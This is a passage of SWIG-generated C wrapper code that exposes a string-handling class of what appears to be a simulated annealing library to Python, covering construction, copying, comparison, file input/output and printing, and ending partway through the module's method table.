    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    arg0->size = arg1;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_string_size_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:string_size_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int ) (arg0->size);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_label_set(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Os:string_label_set",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    {
        if (arg0->label) delete [] arg0->label;
        arg0->label = new char[strlen(arg1)+1];
        strcpy(arg0->label,arg1);
    }
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_string_label_get(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    PyObject * argo0 =0 ;
    char *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:string_label_get",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (char *) (arg0->label);
    resultobj = PyString_FromString(result);
    return resultobj;
}


static PyObject *_wrap_new_string(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)":new_string")) return NULL;
    result = (string *)new string();
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_new_string_int_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    int arg0 ;
    char *arg1 = NULL ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"i|s:new_string_int_char",&arg0,&arg1)) return NULL;
    result = (string *)new string(arg0,arg1);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_new_string_char_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    char *arg0 ;
    char *arg1 = NULL ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"s|s:new_string_char_char",&arg0,&arg1)) return NULL;
    result = (string *)new string(arg0,arg1);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_new_string_string_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 = NULL ;
    PyObject * argo0 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O|s:new_string_string_char",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (string *)new string(*arg0,arg1);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_delete_string(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:delete_string",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    delete arg0;
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_string_clean(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:string_clean",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    arg0->clean();
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_string_cat_string(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:string_cat_string",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->cat(*arg1);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_cat(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    PyObject * argo0 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Os:string_cat",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->cat(arg1);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_copy_string(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:string_copy_string",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->copy(*arg1);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_copy_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    PyObject * argo0 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Os:string_copy_char",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->copy(arg1);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_copy_dl(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    double arg1 ;
    long arg2 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Odl:string_copy_dl",&argo0,&arg1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->copy(arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_copy_i(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    int arg1 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oi:string_copy_i",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->copy(arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_copy(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct variable *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:string_copy",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_variable,1)) == -1) return NULL;
    result = (int )arg0->copy(arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_out(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char **arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:string_out",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_p_char,1)) == -1) return NULL;
    arg0->out(arg1);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_string_ncopy_string_i(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    int arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOi:string_ncopy_string_i",&argo0,&argo1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->ncopy(*arg1,arg2);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_ncopy(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    int arg2 ;
    int arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOii:string_ncopy",&argo0,&argo1,&arg2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->ncopy(*arg1,arg2,arg3);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_compose_str_str_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    string *arg2 ;
    char *arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    PyObject * argo2 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOOs:string_compose_str_str_char",&argo0,&argo1,&argo2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->compose(*arg1,*arg2,arg3);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_compose_str_char_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    char *arg2 ;
    char *arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOss:string_compose_str_char_char",&argo0,&argo1,&arg2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->compose(*arg1,arg2,arg3);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_compose_str_d_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    double arg2 ;
    char *arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOds:string_compose_str_d_char",&argo0,&argo1,&arg2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->compose(*arg1,arg2,arg3);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_compose(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    int arg2 ;
    char *arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    string *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOis:string_compose",&argo0,&argo1,&arg2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    string &_result_ref = arg0->compose(*arg1,arg2,arg3);
    result = (string *) &_result_ref;
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_string);
    return resultobj;
}


static PyObject *_wrap_string_element(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    int arg1 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oi:string_element",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->element(arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_compose_struct_string(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct string *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:string_compose_struct_string",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->compare(*arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_compare(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Os:string_compare",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->compare(arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_strcompspan_chari(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    int arg2 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Osi:string_strcompspan_chari",&argo0,&arg1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_complement_span(arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_strcompspan_struct_stringi(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct string *arg1 ;
    int arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOi:string_strcompspan_struct_stringi",&argo0,&argo1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_complement_span(*arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_string_complement_span(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Os:string_string_complement_span",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_complement_span(arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_stringspan_struct_stringi(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct string *arg1 ;
    int arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOi:string_stringspan_struct_stringi",&argo0,&argo1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_span(*arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_string_span(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    int arg2 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Osi:string_string_span",&argo0,&arg1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_span(arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_stringstring_struct_string_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct string *arg1 ;
    char *arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOs:string_stringstring_struct_string_char",&argo0,&argo1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_string(*arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_stringstring_structstring_structstring(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct string *arg1 ;
    struct string *arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    PyObject * argo2 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOO:string_stringstring_structstring_structstring",&argo0,&argo1,&argo2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_string(*arg1,*arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_string_string(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct string *arg1 ;
    struct string *arg2 ;
    int arg3 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    PyObject * argo2 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOOi:string_string_string",&argo0,&argo1,&argo2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo2,(void **) &arg2,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_string(*arg1,*arg2,arg3);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_string_character(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char arg1 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oc:string_string_character",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->string_character(arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_string_pointer_break(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    struct string *arg1 ;
    char *arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOs:string_string_pointer_break",&argo0,&argo1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    arg0->string_pointer_break(*arg1,arg2);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_string_fileopen(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    char *arg1 ;
    PyObject * argo0 =0 ;
    FILE *result ;
    
    if(!PyArg_ParseTuple(args,(char *)"Os:string_fileopen",&argo0,&arg1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (FILE *)arg0->fileopen(arg1);
    resultobj = SWIG_NewPointerObj((void *) result, SWIGTYPE_p_FILE);
    return resultobj;
}


static PyObject *_wrap_string_fileread(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:string_fileread",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->fileread(*arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_filereadc(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    char arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOc:string_filereadc",&argo0,&argo1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->filereadc(*arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_filewrite_string_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    string *arg1 ;
    char *arg2 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OOs:string_filewrite_string_char",&argo0,&argo1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->filewrite(*arg1,arg2);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_filewrite(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    FILE *arg1 ;
    PyObject * argo0 =0 ;
    PyObject * argo1 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"OO:string_filewrite",&argo0,&argo1)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    if ((SWIG_ConvertPtr(argo1,(void **) &arg1,SWIGTYPE_p_FILE,1)) == -1) return NULL;
    result = (int )arg0->filewrite(arg1);
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_system_call(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    PyObject * argo0 =0 ;
    int result ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:string_system_call",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    result = (int )arg0->system_call();
    resultobj = PyInt_FromLong((long)result);
    return resultobj;
}


static PyObject *_wrap_string_init(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    string *arg0 ;
    int arg1 ;
    char *arg2 = NULL ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oi|s:string_init",&argo0,&arg1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    arg0->init(arg1,arg2);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_print(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct string *arg0 ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O:print",&argo0)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    print(*arg0);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_strprint_structstring_char_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct string *arg0 ;
    char *arg1 = NULL ;
    char *arg2 = NULL ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"O|ss:strprint_structstring_char_char",&argo0,&arg1,&arg2)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    strprint(*arg0,arg1,arg2);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_strprint_structstring_int_char_char(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct string *arg0 ;
    int arg1 ;
    char *arg2 = NULL ;
    char *arg3 = NULL ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oi|ss:strprint_structstring_int_char_char",&argo0,&arg1,&arg2,&arg3)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    strprint(*arg0,arg1,arg2,arg3);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyObject *_wrap_strprint(PyObject *self, PyObject *args) {
    PyObject *resultobj;
    struct string *arg0 ;
    int arg1 ;
    char arg2 ;
    char *arg3 = NULL ;
    char *arg4 = NULL ;
    PyObject * argo0 =0 ;
    
    if(!PyArg_ParseTuple(args,(char *)"Oic|ss:strprint",&argo0,&arg1,&arg2,&arg3,&arg4)) return NULL;
    if ((SWIG_ConvertPtr(argo0,(void **) &arg0,SWIGTYPE_p_string,1)) == -1) return NULL;
    strprint(*arg0,arg1,arg2,arg3,arg4);
    Py_INCREF(Py_None);
    resultobj = Py_None;
    return resultobj;
}


static PyMethodDef simannealfileMethods[] = {
	 { (char *)"new_simanneal_varlist", _wrap_new_simanneal_varlist, METH_VARARGS },
	 { (char *)"delete_simanneal_varlist", _wrap_delete_simanneal_varlist, METH_VARARGS },
	 { (char *)"simanneal_varlist_cleany", _wrap_simanneal_varlist_cleany, METH_VARARGS },
	 { (char *)"simanneal_varlist_clean", _wrap_simanneal_varlist_clean, METH_VARARGS },
	 { (char *)"simanneal_varlist_pt2xn", _wrap_simanneal_varlist_pt2xn, METH_VARARGS },
	 { (char *)"simanneal_varlist_vl_set", _wrap_simanneal_varlist_vl_set, METH_VARARGS },
	 { (char *)"simanneal_varlist_vl_get", _wrap_simanneal_varlist_vl_get, METH_VARARGS },
	 { (char *)"simanneal_varlist_next_set", _wrap_simanneal_varlist_next_set, METH_VARARGS },
	 { (char *)"simanneal_varlist_next_get", _wrap_simanneal_varlist_next_get, METH_VARARGS },
	 { (char *)"new_simulated_annealing", _wrap_new_simulated_annealing, METH_VARARGS },
	 { (char *)"new_simulated_annealing_6args", _wrap_new_simulated_annealing_6args, METH_VARARGS },
	 { (char *)"delete_simulated_annealing", _wrap_delete_simulated_annealing, METH_VARARGS },
	 { (char *)"simulated_annealing_vl_set", _wrap_simulated_annealing_vl_set, METH_VARARGS },
	 { (char *)"simulated_annealing_vl_get", _wrap_simulated_annealing_vl_get, METH_VARARGS },
	 { (char *)"simulated_annealing_svl_set", _wrap_simulated_annealing_svl_set, METH_VARARGS },
